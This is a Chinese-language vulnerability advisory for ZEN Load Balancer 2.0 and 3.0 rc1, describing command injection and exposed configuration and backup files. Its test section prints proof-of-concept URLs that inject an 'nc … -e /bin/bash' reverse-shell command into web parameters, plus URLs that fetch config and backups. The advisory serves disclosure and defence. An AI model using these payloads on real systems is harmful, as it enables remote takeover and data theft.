ZEN Load Balancer多个安全漏洞

发布日期：2012-09-21
更新日期：2012-09-25受影响系统：
ZEN Load Balancer ZEN Load Balancer 3.0 rc1
ZEN Load Balancer ZEN Load Balancer 2.0
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 55638Zen Load Balancer是一个基于Debian来创建一个TCP负载平衡的设备。ZEN Load Balancer 2.0和3.0 rc1存在安全漏洞，攻击者可利用这些漏洞执行任意命令，上传任意文件到受影响计算机或泄漏敏感信息。1）应用没有正确限制访问config/global.conf文件，可被利用泄露某些系统信息。2）应用没有正确限制访问备份目录，可被利用列出和下载任意备份并泄露系统信息。<*来源：Brendan Coles

链接：http://secunia.com/advisories/50690/
http://itsecuritysolutions.org/2012-09-21-ZEN-Load-Balancer-v2.0-and-v3.0-rc1-multiple-vulnerabilities/
*>测试方法：
--------------------------------------------------------------------------------警告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！http://www.example.com/index.cgi？id=2-2&amp;filelog=%26nc+192.168.1.1+4444+-e+/bin/bash;&amp;nlines=1&amp;action=See+logs
http://www.example.com/index.cgi？id=2-2&amp;filelog=#&amp;nlines=1%26nc+192.168.1.1+4444+-e+/bin/bash;&amp;action=See+logs
http://www.example.com/index.cgi？id=3-2&amp;if=lo%26nc+192.168.1.1+4444+-e+/bin/bash%26&amp;status=up&amp;newip=0.0.0.0&amp;netmask=255.255.255.0&amp;gwaddr=&amp;action=Save+%26+Up！
http://www.example.com/config/global.conf
http://www.example.com/backup/建议：
--------------------------------------------------------------------------------
厂商补丁：ZEN Load Balancer
-----------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：www.zenloadbalancer.com/Zend Framework多个跨站脚本执行漏洞Monkey HTTP守护程序本地权限提升漏洞相关资讯 Zen Load Balancer ZEN Load Balancer漏洞

Zen Load Balancer 3.03 发布，TCP （10/23/2013 08:33:08）
Zen Load Balancer v3 RC1 发布（08/18/2012 10:32:01）
Zen 负载均衡器发布 2.0 RC3 （02/29/2012 11:03:44）

Zen Load Balancer 3.02 发布（03/01/2013 07:54:06）
Zen Load Balancer v2 稳定版发布（04/12/2012 21:59:51）
Zen Load Balancer 1.0 稳定版发布（10/18/2011 09:45:15）

本文评论查看全部评论（0）

评论声明

尊重网上道德，遵守中华人民共和国的各项有关法律法规
承担一切因您的行为而直接或间接导致的民事或刑事法律责任